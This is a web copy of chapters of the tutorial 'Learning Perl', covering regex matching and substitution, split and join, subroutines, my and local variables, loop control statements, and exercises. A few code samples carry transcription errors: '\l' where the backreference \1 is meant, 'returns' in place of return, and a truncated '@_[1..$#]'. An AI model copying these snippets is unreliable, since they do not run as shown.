7.2 Simple Uses of Regular Expressions | Book Index | 7.4 More on the Matching Operator


[Chapter 7] 7.4 More on the Matching Operator

Learning PerlSearch this book

7.4 More on the Matching Operator

We have already looked at the simplest uses of the matching operator (a regular expression enclosed in slashes). Now let's look at a zillion ways to make this operator do something slightly different.

7.4.1 Selecting a Different Target (the =~ Operator)

Usually the string you'll want to match your pattern against is not within the $_ variable, and it would be a nuisance to put it there. (Perhaps you already have a value in $_ you're quite fond of.) No problem. The =~ operator helps us here. This operator takes a regular expression operator on the right side, and changes the target of the operator to something besides the $_ variable - namely, some value named on the left side of the operator. It looks like this:

$a = "hello world";
$a =~ /^he/;         # true
$a =~ /(.)\l/;       # also true (matches the double l)
if ($a =~ /(.)\l/) { # true, so yes...
                     # some stuff
}

The target of the =~ operator can be any expression that yields some scalar string value. For example, <STDIN> yields a scalar string value when used in a scalar context, so we can combine this with the =~ operator and a regular expression match operator to get a compact check for particular input, as in:

print "any last request? ";
if (<STDIN> =~ /^[yY]/) {          # does the input begin with a y?
    print "And just what might that request be? ";
    <STDIN>;                       # discard a line of standard input
    print "Sorry, I'm unable to do that.\n";
}

In this case, <STDIN> yields the next line from standard input, which is then immediately used as the string to match against the pattern ^[yY]. Note that you never stored the input into a variable, so if you wanted to match the input against another pattern, or possibly echo the data out in an error message, you'd be out of luck. But this form frequently comes in handy.

7.4.2 Ignoring Case

In the previous example, we used [yY] to match either a lower- or uppercase y. For very short strings, such as y or fred, this is easy enough, as in [fF][oO][oO]. But what if the string you want to match is the word "procedure" in either lower- or uppercase?

In some versions of grep, a -i flag indicates "ignore case." Perl also has such an option. You indicate the ignore-case option by appending a lowercase i to the closing slash, as in /somepattern/i. This says that the letters of the pattern will match letters in the string in either case. For example, to match the word procedure in either case at the beginning of the line, use /^procedure/i.

Now our previous example looks like this:

print "any last request? ";
if (<STDIN> =~ /^y/i) { # does the input begin with a y?
    # yes! deal with it
    ...
}

7.4.3 Using a Different Delimiter

If you are looking for a string with a regular expression that contains slash characters (/), you must precede each slash with a backslash (\ ). For example, you can look for a string that begins with /usr/etc like this:

$path = <STDIN>; # read a pathname (from "find" perhaps?)
if ($path =~ /^\/usr\/etc/) {
    # begins with /usr/etc...
}

As you can see, the backslash-slash combination makes it look like there are little valleys between the text pieces. Doing this for a lot of slash characters can get cumbersome, so Perl allows you to specify a different delimiter character. Simply precede any nonalphanumeric, nonwhitespace character[5] (your selected delimiter) with an m, then list your pattern followed by another identical delimiter character, as in:

/^\/usr\/etc/     # using standard slash delimiter
m@^/usr/etc@      # using @ for a delimiter
m#^/usr/etc#      # using # for a delimiter (my favorite)

[5] If the delimiter happens to be the left character of a left-right pair (parentheses, braces, angle bracket, or square bracket), the closing delimiter is the corresponding right of the same pair. But otherwise, the characters are the same for begin and end.

You can even use slashes again if you want, as in m/fred/. So the common regular-expression matching operator is really the m operator; however, the m is optional if you choose slash for a delimiter.

7.4.4 Using Variable Interpolation

A regular expression is variable interpolated before it is considered for other special characters. Therefore, you can construct a regular expression from computed strings rather than just literals. For example:

$what = "bird";
$sentence = "Every good bird does fly.";
if ($sentence =~ /\b$what\b/) {
    print "The sentence contains the word $what!\n";
}

Here we have used a variable reference to effectively construct the regular expression operator /\bbird\b/.

Here's a slightly more complicated example:

$sentence = "Every good bird does fly.";
print "What should I look for? ";
$what = <STDIN>;
chomp($what);
if ($sentence =~ /$what/) { # found it!
    print "I saw $what in $sentence.\n";
} else {
    print "nope... didn't find it.\n";
}

If you enter bird, it is found. If you enter scream, it isn't. If you enter [bw]ird, that's also found, showing that the regular expression pattern-matching characters are indeed still significant.

How would you make them insignificant? You'd have to arrange for the non-alphanumeric characters to be preceded by a backslash, which would then turn them into literal matches. That sounds hard, unless you have the \Q quoting escape at your disposal:

$what = "[box]";
foreach (qw(in[box] out[box] white[sox])) {
    if (/\Q$what\E/) {
        print "$_ matched!\n";
    }
}

Here, the \Q$what\E construct turns into \[box\], making the match look for a literal pair of enclosing brackets, instead of treating the whole thing as a character class.

7.4.5 Special Read-Only Variables

After a successful pattern match, the variables $1, $2, $3, and so on are set to the same values as \1, \2, \3, and so on. You can use this to look at a piece of the match in later code. For example:

$_ = "this is a test";
/(\w+)\W+(\w+)/; # match first two words
                 # $1 is now "this" and $2 is now "is"

You can also gain access to the same values ($1, $2, $3, and so on) by placing a match in a list context. The result is a list of values from $1 up to the number of memorized things, but only if the regular expression matches. (Otherwise the variables are undefined.) Taking that last example in another way:

$_ = "this is a test";
($first, $second) = /(\w+)\W+(\w+)/; # match first two words
     # $first is now "this" and $second is now "is"

Other predefined read-only variables include $&, which is the part of the string that matched the regular expression; $`, which is the part of the string before the part that matched; and $', which is the part of the string after the part that matched. For example:

$_ = "this is a sample string";
/sa.*le/; # matches "sample" within the string
          # $` is now "this is a "
          # $& is now "sample"
          # $' is now " string"

Because these variables are set on each successful match, you should save the values elsewhere if you need them later in the program.[6]

[6] See O'Reilly's Mastering Regular Expressions for performance ramifications of using these variables.

Previous: 7.3 Patterns | Learning Perl | Next: 7.5 Substitutions
7.3 Patterns | Book Index | 7.5 Substitutions


[Chapter 7] 7.5 Substitutions

Learning PerlSearch this book

7.5 Substitutions

We've already talked about the simplest form of the substitution operator: s/old-regex/new-string/. It's time for a few variations of this operator.

If you want the replacement to operate on all possible matches instead of just the first match, append a g to the substitution, as in:

$_ = "foot fool buffoon";
s/foo/bar/g; # $_ is now "bart barl bufbarn"

The replacement string is variable interpolated, allowing you to specify the replacement string at run-time:

$_ = "hello, world";
$new = "goodbye";
s/hello/$new/; # replaces hello with goodbye

Pattern characters in the regular expression allow patterns to be matched, rather than just fixed characters:

$_ = "this is a test";
s/(\w+)/<$1>/g; # $_ is now "<this> <is> <a> <test>"

Recall that $1 is set to the data within the first parenthesized pattern match.

An i suffix (either before or after the g if present) causes the regular expression in the substitute operator to ignore case, just like the same option on the match operator described earlier.

As with the match operator, an alternate delimiter can be selected if the slash is inconvenient. Just use the same character three times:[7]

s#fred#barney#; # replace fred with barney, like s/fred/barney/

[7] Or two matching pairs if a left-right pair character is used.

Also as with the match operator, you can specify an alternate target with the =~ operator. In this case, the selected target must be something you can assign a scalar value to, such as a scalar variable or an element of an array. Here's an example:

$which = "this is a test";
$which =~ s/test/quiz/;             # $which is now "this is a quiz"
$someplace[$here] =~ s/left/right/; # change an array element
$d{"t"} =~ s/^/x /;                 # prepend "x " to hash element

Previous: 7.4 More on the Matching Operator | Learning Perl | Next: 7.6 The split and join Functions
7.4 More on the Matching Operator | Book Index | 7.6 The split and join Functions


[Chapter 7] 7.6 The split and join Functions

Learning PerlSearch this book

7.6 The split and join Functions

Regular expressions can be used to break a string into fields. The split function does this, and the join function glues the pieces back together.

7.6.1 The split Function

The split function takes a regular expression and a string, and looks for all occurrences of the regular expression within that string. The parts of the string that don't match the regular expression are returned in sequence as a list of values. For example, here's something to parse colon-separated fields, such as in UNIX /etc/passwd files:

$line = "merlyn::118:10:Randal:/home/merlyn:/usr/bin/perl";
@fields = split(/:/,$line); # split $line, using : as delimiter
# now @fields is ("merlyn","","118","10","Randal",
#                 "/home/merlyn","/usr/bin/perl")

Note how the empty second field became an empty string. If you don't want this, match all of the colons in one fell swoop:

@fields = split(/:+/, $line);

This matches one or more adjacent colons together, so there is no empty second field.

One common string to split is the $_ variable, and that turns out to be the default:

$_ = "some string";
@words = split(/ /); # same as @words = split(/ /, $_);

For this split, consecutive spaces in the string to be split will cause null fields (empty strings) in the result. A better pattern would be / +/, or ideally /\s+/, which matches one or more whitespace characters together. In fact, this pattern is the default pattern,[8] so if you're splitting the $_ variable on whitespace, you can use all the defaults and merely say:

[8] Actually, the " " string is the default pattern, and this will cause leading whitespace to be ignored, but that's still close enough for this discussion.

@words = split; # same as @words = split(/\s+/, $_);

Empty trailing fields do not normally become part of the list. This is not generally a concern. A solution like this,

$line = "merlyn::118:10:Randal:/home/merlyn:";
($name,$password,$uid,$gid,$gcos,$home,$shell) =
    split(/:/,$line); # split $line, using : as delimiter

simply gives $shell a null (undef) value if the line isn't long enough or if it contains empty values in the last field. (Extra fields are silently ignored, because list assignment works that way.)

7.6.2 The join Function

The join function takes a list of values and glues them together with a glue string between each list element. It looks like this:

$bigstring = join($glue,@list);

For example, to rebuild the password line, try something like:

$outline = join(":", @fields);

Note that the glue string is not a regular expression - just an ordinary string of zero or more characters.

If you need to get glue ahead of every item instead of just between items, a simple cheat suffices:

$result = join ("+", "", @fields);

Here, the extra "" is treated as an empty element, to be glued together with the first data element of @fields. This results in glue ahead of every element. Similarly, you can get trailing glue with an empty element at the end of the list, like so:

$output = join ("\n", @data, "");

Previous: 7.5 Substitutions | Learning Perl | Next: 7.7 Exercises
7.5 Substitutions | Book Index | 7.7 Exercises


[Chapter 7] 7.7 Exercises

Learning PerlSearch this book

7.7 Exercises

See Appendix A, Exercise Answers for answers.

  1. Construct a regular expression that matches:

    1. at least one a followed by any number of b's

    2. any number of backslashes followed by any number of asterisks (any number might be zero)

    3. three consecutive copies of whatever is contained in $whatever

    4. any five characters, including newline

    5. the same word written two or more times in a row (with possibly varying intervening whitespace), where "word" is defined as a nonempty sequence of nonwhitespace characters

    1. Write a program that accepts a list of words on STDIN and looks for a line containing all five vowels (a, e, i, o, and u). Run this program on /usr/dict/words[9] and see what shows up. In other words, enter:

      $ myprogram </usr/dict/words
      (This presumes you name your program myprogram.)

      [9] Your system's dictionary may be somewhere other than /usr/dict/words ; check the spell (1) manpage.

    2. Modify the program so that the five vowels have to be in order and intervening letters don't matter.

    3. Modify the program so that all vowels must be in an increasing order, so all five vowels have to be present, and no "e" can occur before an "a", no "i" can occur before an "e", and so on.

  3. Write a program that looks through /etc/passwd [10] (on STDIN), printing the login name and real name of each user. (Hint: use split to break the line up into fields, then s/// to get rid of the parts of the comment field that are after the first comma.)

    [10] If using NIS, your system may have little data in /etc/passwd. See if ypcat passwd gives more information.

  4. Write a program that looks through /etc/passwd (on STDIN) for two users with the same first name, and prints those names. (Hint: after extracting the first name, create a hash with the name for a key and the number of times it was seen as the value. When the last line of STDIN has been read, look through the associative array for counts of greater than one.)

  5. Repeat the last exercise, but report the login names of all users with the same first name. (Hint: instead of storing a count, store a list of login names separated by spaces. When finished, look through the values for ones that contain a space.)

Previous: 7.6 The split and join Functions | Learning Perl | Next: 8. Functions
7.6 The split and join Functions | Book Index | 8. Functions


[Chapter 8] Functions

Learning PerlSearch this book
Previous: 7.7 Exercises Chapter 8 Next: 8.2 Invoking a User Function

8. Functions

Contents:
Defining a User Function
Invoking a User Function
Return Values
Arguments
Private Variables in Functions
Semiprivate Variables Using local
File-Level my( ) Variables
Exercises

We've already seen and used built-in functions, such as chomp, print, and so on. Now, let's take a look at functions that you define for yourself.

8.1 Defining a User Function

A user function, more commonly called a subroutine or just a sub, is defined in your Perl program using a construct like this:

sub subname {
    statement_1;
    statement_2;
    statement_3;
}

The subname is the name of the subroutine, which is any name like the names we've had for scalar variables, arrays, and hashes. Once again, these come from a different namespace, so you can have a scalar variable $fred, an array @fred, a hash %fred, and now a subroutine fred.[1]

[1] Technically, the subroutine's name is &fred, but you seldom need to call it that.

The block of statements following the subroutine name becomes the definition of the subroutine. When the subroutine is invoked (described shortly), the block of statements that makes up the subroutine is executed, and any return value (described later) is returned to the caller.

Here, for example, is a subroutine that displays that famous phrase:

sub say_hello {
    print "hello, world!\n";
}

Subroutine definitions can be anywhere in your program text (they are skipped on execution), but we like to put them at the end of the file, so that the main part of the program appears at the beginning of the file. (If you like to think in Pascal terms, you can put your subroutines at the beginning and your executable statements at the end, instead. It's up to you.)

Subroutine definitions are global;[2] there are no local subroutines. If you have two subroutine definitions with the same name, the later one overwrites the earlier one without warning.[3]

[2] Global to the current package, actually, but since this book doesn't really deal with separate packages, you may think of subroutine definitions as global to the whole program.

[3] Unless you are running with the -w switch.

Within the subroutine body, you may access or give values to variables that are shared with the rest of the program (a global variable). In fact, by default, any variable reference within a subroutine body refers to a global variable. We'll tell you about the exceptions in the upcoming section "Private Variables in Functions." In the following example,

sub say_what {
  print "hello, $what\n";
}

$what refers to the global $what, shared with the rest of the program.

Previous: 7.7 Exercises | Learning Perl | Next: 8.2 Invoking a User Function
7.7 Exercises | Book Index | 8.2 Invoking a User Function


[Chapter 8] 8.2 Invoking a User Function

Learning PerlSearch this book

8.2 Invoking a User Function

You invoke a subroutine from within any expression by following the subroutine name with parentheses, as in:

say_hello();          # a simple expression
$a = 3 + say_hello(); # part of a larger expression
for ($x = start_value(); $x < end_value(); $x += increment()) {
    ...
}                     # invoke three subroutines to define values

A subroutine can invoke another subroutine, and that subroutine can in turn invoke another subroutine, and so on, until all available memory is filled with return addresses and partially computed expressions. (No mere 8 or 32 levels could satisfy a real programmer.)

Previous: 8.1 Defining a User Function | Learning Perl | Next: 8.3 Return Values
8.1 Defining a User Function | Book Index | 8.3 Return Values


[Chapter 8] 8.3 Return Values

Learning PerlSearch this book

8.3 Return Values

A subroutine is always part of some expression. The value of the subroutine invocation is called the return value. The return value of a subroutine is the value of the return statement or of the last expression evaluated in the subroutine.

For example, let's define this subroutine:

sub sum_of_a_and_b {
    return $a + $b;
}

The last expression evaluated in the body of this subroutine (in fact, the only expression evaluated) is the sum of $a and $b, so the sum of $a and $b will be the return value. Here's that in action:

$a = 3; $b = 4;
$c = sum_of_a_and_b();     # $c gets 7
$d = 3 * sum_of_a_and_b(); # $d gets 21

A subroutine can also return a list of values when evaluated in a list context. Consider this subroutine and invocation:

sub list_of_a_and_b {
    return($a,$b);
}
$a = 5; $b = 6;
@c = list_of_a_and_b(); # @c gets (5,6)

The last expression evaluated really means the last expression evaluated, rather than the last expression defined in the body of the subroutine. For example, this subroutine returns $a if $a > 0; otherwise it returns $b:

sub gimme_a_or_b {
    if ($a > 0) {
        print "choosing a ($a)\n";
        returns $a;
    } else {
        print "choosing b ($b)\n";
        returns $b;
    }
}

These are all rather trivial examples. It gets better when we can pass values that are different for each invocation into a subroutine instead of relying on global variables. In fact, that's coming right up.

Previous: 8.2 Invoking a User Function | Learning Perl | Next: 8.4 Arguments
8.2 Invoking a User Function | Book Index | 8.4 Arguments


[Chapter 8] 8.4 Arguments

Learning PerlSearch this book

8.4 Arguments

Although subroutines that have one specific action are useful, a whole new level of usefulness becomes available when you can pass arguments to a subroutine. In Perl, the subroutine invocation is followed by a list within parentheses, causing the list to be automatically assigned to a special variable named @_ for the duration of the subroutine. The subroutine can access this variable to determine the number of arguments and the value of those arguments. For example:

sub say_hello_to {
    print "hello, $_[0]!\n"; # first parameter is target
}

Here, we see a reference to $_[0], which is the first element of the @_ array. Special note: as similar as they look, the $_[0] value (the first element of the @_ array) has nothing whatsoever to do with the $_ variable (a scalar variable of its own). Don't confuse them! From the code, it appears to say hello to whomever we pass as the first parameter. That means we can invoke it like this:

say_hello_to("world");                  # gives hello, world!
$x = "somebody";
say_hello_to($x);                       # gives hello, somebody!
say_hello_to("me")+  say_hello_to("you"); # and me and you

Note that in the last line, the return values weren't really used. But in evaluating the sum, Perl has to evaluate all of its parts, so the subroutine was invoked twice.

Here's an example using more than one parameter:

sub say {
    print "$_[0], $_[1]!\n";
}

say("hello","world");         # hello world, once again
say("goodbye","cruel world"); # silent movie lament

Excess parameters are ignored: if you never look at $_[3], Perl doesn't care. And insufficient parameters are also ignored; you simply get undef if you look beyond the end of the @_ array, as with any other array.

The @_ variable is private to the subroutine; if there's a global value for @_, it is saved away before the subroutine is invoked and restored to its previous value upon return from the subroutine. This also means that a subroutine can pass arguments to another subroutine without fear of losing its own @_ variable; the nested subroutine invocation gets its own @_ in the same way.

Let's revisit that "add a and b" routine from the previous section. Here's a subroutine that adds any two values, specifically, the two values passed to the subroutine as parameters:

sub add_two {
    return $_[0] + $_[1];
}
print add_two(3,4); # prints 7
$c = add_two(5,6);  # $c gets 11

Now let's generalize this subroutine. What if we had 3, 4, or 100 values to add together? We could do it with a loop, like so:

sub add {
    $sum = 0;         # initialize the sum
    foreach $_ (@_) {
        $sum += $_;   # add each element
    }
return  $sum;         # last expression evaluated: sum of all elements
}
$a = add(4,5,6);      # adds 4+5+6 = 15, and assigns to $a
print add(1,2,3,4,5); # prints 15
print add(1..5);      # also prints 15, because 1..5 is expanded

What if we had a variable named $sum when we called add? We just clobbered it. In the next section, we see how to avoid this.

Previous: 8.3 Return Values | Learning Perl | Next: 8.5 Private Variables in Functions
8.3 Return Values | Book Index | 8.5 Private Variables in Functions


[Chapter 8] 8.5 Private Variables in Functions

Learning PerlSearch this book

8.5 Private Variables in Functions

We've already talked about the @_ variable and how a local copy gets created for each subroutine invoked with parameters. You can create your own scalar, array, and hash variables that work the same way. You do this with the my operator, which takes a list of variable names and creates local versions of them (or instantiations, if you like bigger words). Here's that add function again, this time using my:

sub add {
    my ($sum);           # make $sum a local variable
    $sum = 0;            # initialize the sum
    foreach $_ (@_) {
        $sum += $_;      # add each element
    }
    return $sum;            # last expression evaluated: sum of all elements
}

When the first body statement is executed, any current value of the global variable $sum is saved away, and a brand new variable named $sum is created (with the value undef). When the subroutine exits, Perl discards the local variable and restores the previous (global) value. This works even if the $sum variable is currently a local variable from another subroutine (a subroutine that invokes this one, or one that invokes one that invokes this one, and so on). Variables can have many nested local versions, although you can access only one at a time.

Here's a way to create a list of all the elements of an array greater than 100:

sub bigger_than_100 {
    my (@result);             # temporary for holding the return value
    foreach $_ (@_) {         # step through the arg list
        if ($_ > 100) {       # is it eligible?
            push(@result,$_); # add it
        }
    }
    return @result;           # return the final list
}

What if we wanted all elements greater than 50 rather than greater than 100? We'd have to edit the program, changing the 100's to 50's. But what if we needed both? Well, we can replace the 50 or 100 with a variable reference instead. This makes it look like:

sub bigger_than {
    my($n,@values);           # create some local variables
    ($n,@values) = @_;        # split args into limit and values
    my(@result);              # temporary for holding the return value
    foreach $_ (@values) {    # step through the arg list
        if ($_ > $n) {        # is it eligible?
            push(@result,$_); # add it
        }
    }
    return @result;                  # return the final list
}
                              # some invocations:
@new = bigger_than(100,@list);    # @new gets all @list > 100
@this = bigger_than(5,1,5,15,30); # @this gets (15,30)

Notice that this time we used two additional local variables to give names to arguments. This is fairly common in practice; it's much easier to talk about $n and @values than to talk about $_[0] and @_[1..$#], and safer, too.

The result of my is an assignable list, meaning that it can be used on the left side of an array assignment operator. This list can be given initial values for each of the newly created variables. (If you don't give values to the list, the new variables start with a value of undef, just like any other new variable.) This means we can combine the first two statements of this subroutine, replacing:

my($n,@values);
($n,@values) = @_; # split args into limit and values

with:

my($n,@values)= @_;

This is, in fact, a very common Perl-ish thing to do. Local nonargument variables can be given literal values in the same way, such as:

my($sum) = 0; # initialize local variable

Be warned that despite its appearances as a declaration, my is really an executable operator. Good Perl hacking strategy suggests that you bunch all your my operators at the beginning of the subroutine definition, before you get into the meat of the routine.

Previous: 8.4 Arguments | Learning Perl | Next: 8.6 Semiprivate Variables Using local
8.4 Arguments | Book Index | 8.6 Semiprivate Variables Using local


[Chapter 8] 8.6 Semiprivate Variables Using local

Learning PerlSearch this book

8.6 Semiprivate Variables Using local

Perl gives you a second way to create "private" variables, using the local function. It is important to understand the differences between my and local. For example:

$value = "original";

tellme();
spoof();
tellme();

sub spoof {
    local ($value) = "temporary";
    tellme();
}

sub tellme {
    print "Current value is $value\n";
}

This prints out:

Current value is original
Current value is temporary
Current value is original

If my had been used instead of local, the private reading of $value would be available only within the spoof() subroutine. But with local, as the output shows, the private value is not quite so private; it is also available within any subroutines called from spoof(). The general rule is that local variables are visible to functions called from within the block in which those variables are declared.

Whereas my can be used only to declare simple scalar, array, or hash variables with alphanumeric names, local suffers no such restrictions. Also, Perl's built-in variables, such as $_, $1, and @ARGV, cannot be declared with my, but work fine with local. Because $_ is so often used throughout most Perl programs, it's probably prudent to place a

local $_;

at the top of any function that uses $_ for its own purposes. This assures that the previous value will be preserved and automatically restored when the function exits.

In your more advanced programming you may eventually need to know that local variables are really global variables in disguise. That is, the value of the global variable is saved and temporarily replaced with the locally declared value.

By and large, you should prefer to use my over local because it's faster and safer.

Previous: 8.5 Private Variables in Functions | Learning Perl | Next: 8.7 File-Level my( ) Variables
8.5 Private Variables in Functions | Book Index | 8.7 File-Level my( ) Variables


[Chapter 8] 8.7 File-Level my( ) Variables

Learning PerlSearch this book

8.7 File-Level my( ) Variables

The my() operator can also be used at the outermost level of your program, outside of any subroutines or blocks. While this isn't really a "local" variable in the sense defined above, it's actually rather useful, especially when used in conjunction with a Perl pragma:[4]

 use strict;

[4] A pragma is a compiler directive. Other directives include those to set up integer arithmetic, overload numeric operators, or request more verbose warnings and error messages. These are documented in Chapter 7 of Programming Perl and the perlmodlib (1) manpage.

If you place this pragma at the beginning of your file, you will no longer be able to use variables (scalars, arrays, and hashes) until you have first "declared" them. And you declare them with my(), like so:

use strict;
my $a;                         # starts as undef
my @b = qw(fred barney betty); # give initial value
...
push @b, qw(wilma);            # cannot leave her out
@c = sort @b;                  # WILL NOT COMPILE

That last statement will be flagged at compile time as an error, because it referred to a variable that had not previously been declared with my (that is, @c). In other words, your program won't even start running unless every single variable being used has been declared.

The advantages of forcing variable declarations are twofold:

  1. Your programs will run slightly faster (variables created with my are accessed slightly faster than ordinary variables[5]).

    [5] In this case, "ordinary variable" is really a package variable (so $x is really $main::x). Variables created with my() are not found in any package.

  2. You'll catch mistakes in typing much faster, because you'll no longer be able to accidentally reference a nonexisting variable named $freed when you wanted $fred.

Because of this, many Perl programmers automatically begin every new Perl program with use strict.

Previous: 8.6 Semiprivate Variables Using local | Learning Perl | Next: 8.8 Exercises
8.6 Semiprivate Variables Using local | Book Index | 8.8 Exercises


[Chapter 8] 8.8 Exercises

Learning PerlSearch this book

8.8 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a subroutine to take a numeric value from 1 to 9 as an argument and return the English name (such as one, two, or nine). If the value is out of range, return the original number as the name instead. Test it with some input data; you'll probably have to write some sort of code to call the subroutine. (Hint: the subroutine should not perform any I/O.)

  2. Taking the subroutine from the previous exercise, write a program to take two numbers and add them together, displaying the result as Two plus two equals four. (Don't forget to capitalize the initial word!)

  3. Extend the subroutine to return negative nine through negative one and zero. Try it in a program.

Previous: 8.7 File-Level my( ) Variables | Learning Perl | Next: 9. Miscellaneous Control Structures
8.7 File-Level my( ) Variables | Book Index | 9. Miscellaneous Control Structures


[Chapter 9] Miscellaneous Control Structures

Learning PerlSearch this book
Previous: 8.8 Exercises Chapter 9 Next: 9.2 The next Statement

9. Miscellaneous Control Structures

Contents:
The last Statement
The next Statement
The redo Statement
Labeled Blocks
Expression Modifiers
&& and || as Control Structures
Exercises

9.1 The last Statement

In some of the previous exercises you may have thought, "If I just had a C break statement here, I'd be done." Even if you didn't think that, let me tell you about Perl's equivalent for getting out of a loop early: the last statement.

The last statement breaks out of the innermost enclosing loop block,[1] causing execution to continue with the statement immediately following the block. For example:

while (something) {
    something;
    something;
    something;
    if (somecondition) {
        somethingorother;
        somethingorother;
        last; # break out of the while loop
    }
    morethings;
    morethings;
}
# last comes here

[1] Note that the do {} while/until construct does not count as a loop for purposes of next, last, and redo.

If somecondition is true, the somethingorother's are executed, and then last forces the while loop to terminate.

The last statement counts only looping blocks, not other blocks that are needed to make up some syntactic construct. This means that the blocks for the if and else statements, as well as the ones for do {} while/until, do not count; only the blocks that make up the for, foreach, while, until, and "naked" blocks count. (A naked block is a block that is not part of a larger construct such as a loop, subroutine, or an if/then/else statement.)

Suppose we wanted to see whether a mail message that had been saved in a file was from merlyn. Such a message might look like this:

From: merlyn@stonehenge.com (Randal L. Schwartz)
To: stevet@ora.com
Date: 01-DEC-94 08:16:24 PM PDT -0700
Subject: A sample mail message

Here's the body of the mail message. And
here is some more.

We'd have to look through the message for a line that begins with From: and then notice whether the line also contains the login name, merlyn.

We could do it like this:

while (<STDIN>) { # read the input lines
    if (/^From: /) { # does it begin with From:? If yes...
        if (/merlyn/) { # it's from merlyn!
            print "Email from Randal! It's about time!\n";
        }
        last; # no need to keep looking for From:, so exit
    } # end "if from:"
    if (/^$/) { # blank line?
        last; # if so, don't check any more lines
    }
} # end while

Once the line starting with From: is found, we exit the main loop because we want to see only the first From: line. Also because a mail message header ends at the first blank line, we can exit the main loop there as well.

Previous: 8.8 Exercises | Learning Perl | Next: 9.2 The next Statement
8.8 Exercises | Book Index | 9.2 The next Statement


[Chapter 9] 9.2 The next Statement

Learning PerlSearch this book

9.2 The next Statement

Like last, next alters the ordinary sequential flow of execution. However, next causes execution to skip past the rest of the innermost enclosing looping block without terminating the block.[2] It is used like this:

[2] If there's a continue block for the loop, which we haven't discussed, next goes to the beginning of the continue block rather than the end of the block. Pretty close.

while (something) {
    firstpart;
    firstpart;
    firstpart;
    if (somecondition) {
        somepart;
        somepart;
        next;
    }
    otherpart;
    otherpart;
    # next comes here
}

If somecondition is true, then somepart is executed, and otherpart is skipped around.

Once again, the block of an if statement doesn't count as a looping block.

Previous: 9.1 The last Statement | Learning Perl | Next: 9.3 The redo Statement
9.1 The last Statement | Book Index | 9.3 The redo Statement


[Chapter 9] 9.3 The redo Statement

Learning PerlSearch this book

9.3 The redo Statement

The third way you can jump around in a looping block is with redo. This construct causes a jump to the beginning of the current block (without reevaluating the control expression), like so:

while (somecondition) {
    # redo comes here
    something;
    something;
    something;
    if (somecondition) {
        somestuff;
        somestuff;
        redo;
    }
    morething;
    morething;
    morething;
}

Once again, the if block doesn't count: just the looping blocks.

With redo and last and a naked block, you can make an infinite loop that exits out of the middle, like so:

{
    startstuff;
    startstuff;
    startstuff;
    if (somecondition) {
        last;
    }
    laterstuff;
    laterstuff;
    laterstuff;
    redo;
}

This would be appropriate for a while-like loop that needed to have some part of the loop executed as initialization before the first test. (In the upcoming section "Expression Modifiers," we'll show you how to write that if statement with fewer punctuation characters.)

Previous: 9.2 The next Statement | Learning Perl | Next: 9.4 Labeled Blocks
9.2 The next Statement | Book Index | 9.4 Labeled Blocks


[Chapter 9] 9.4 Labeled Blocks

Learning PerlSearch this book

9.4 Labeled Blocks

What if you want to jump out of the block that contains the innermost block, or to put it another way, exit from two nested blocks at once? In C, you'd resort to that much maligned goto to get you out. No such kludge is required in Perl; you can use last, next, and redo on any enclosing block by giving the block a name with a label.

A label is yet another type of name from yet another namespace following the same rules as scalars, arrays, hashes, and subroutines. As we'll see, however, a label doesn't have a special prefix punctuation character (like $ for scalars, & for subroutines, and so on), so a label named print conflicts with the reserved word print and would not be allowed. For this reason, you should choose labels that consist entirely of uppercase letters and digits, which will never be chosen for a reserved word in the future. Besides, using all uppercase stands out better within the text of a mostly lowercase program.

Once you've chosen your label, place it immediately in front of the statement containing the block followed by a colon, like this:

SOMELABEL: while (condition) {
    statement;
    statement;
    statement;
    if (nuthercondition) {
        last SOMELABEL;
    }
}

We added SOMELABEL as a parameter to last. This tells Perl to exit the block named SOMELABEL, rather than just the innermost block. In this case, we don't have anything but the innermost block. But suppose we had nested loops:

OUTER: for ($i = 1; $i <= 10; $i++) {
    INNER: for ($j = 1; $j <= 10; $j++) {
        if ($i * $j == 63) {
            print "$i times $j is 63!\n";
            last OUTER;
            }
        if ($j >= $i) {
            next OUTER;
        }
    }
}

This set of statements tries all successive values of two small numbers multiplied together until it finds a pair whose product is 63 (7 and 9). Once the pair is found, there's no point in testing other numbers, so the first if statement exits both for loops using last with a label. The second if ensures that the bigger of the two numbers will always be the first one by skipping to the next iteration of the outer loop as soon as the condition would no longer hold. This means that the numbers will be tested with ($i, $j) being (1,1), (2,1), (2,2), (3,1), (3,2), (3,3), (4,1), and so on.

Even if the innermost block is labeled, the last, next, and redo statements without the optional parameter (the label) still operate with respect to that innermost block. Also, you can't use labels to jump into a block - just out of a block. The last, next, or redo has to be within the block.

Previous: 9.3 The redo Statement | Learning Perl | Next: 9.5 Expression Modifiers
9.3 The redo Statement | Book Index | 9.5 Expression Modifiers


[Chapter 9] 9.5 Expression Modifiers

Learning PerlSearch this book

9.5 Expression Modifiers

As Yet Another Way to indicate "if this, then that," Perl allows you to tag an if modifier onto an expression that is a standalone statement, like this:

some_expression if control_expression;

In this case, control_expression is evaluated first for its truth value (using the same rules as always), and if true, some_expression is evaluated next. This is roughly equivalent to

if (control_expression) {
    some_expression;
}

except that you don't need the extra punctuation, the statement reads backwards, and the expression must be a simple expression (not a block of statements). Many times, however, this inverted description turns out to be the most natural way to state the problem. For example, here's how you can exit from a loop when a certain condition arises:

LINE: while (<STDIN>) {
    last LINE if /^From: /;
}

See how much easier that is to write? And you can even read it in a normal English way: "last line if it begins with From."

Other parallel forms include the following:

exp2 unless exp1; # like: unless (exp1) { exp2; }
exp2 while exp1;  # like: while (exp1) { exp2; }
exp2 until exp1;  # like: until (exp1) { exp2; }

All of these forms evaluate exp1 first, and based on that, do or don't do something with exp2.

For example, here's how to find the first power of two greater than a given number:

chomp($n = <STDIN>);
$i = 1;                 # initial guess
$i *= 2 until $i > $n;  # iterate until we find it

Once again, we gain some clarity and reduce the clutter.

These forms don't nest: you can't say exp3 while exp2 if exp1. This is because the form exp2 if exp1 is no longer an expression, but a full-blown statement, and you can't tack one of these modifiers on after a statement.

Previous: 9.4 Labeled Blocks | Learning Perl | Next: 9.6 && and || as Control Structures
9.4 Labeled Blocks | Book Index | 9.6 && and || as Control Structures


[Chapter 9] 9.6 && and || as Control Structures

Learning PerlSearch this book

9.6 && and || as Control Structures

These look like punctuation characters or parts of expressions. Can they really be considered control structures? Well, in Perl-think, almost anything is possible, so let's see what we're talking about here.

Often, you run across "if this, then that." We've previously seen these two forms:

if (this) { that; } # one way
that if this;       # another way

Here's a third (and believe it or not, there are still others):

this && that;

Why does this work? Isn't that the logical-and operator? Check out what happens when this takes on each value of true or false:

  • If this is true, then the value of the entire expression is still not known, because it depends on the value of that. So that has to be evaluated.

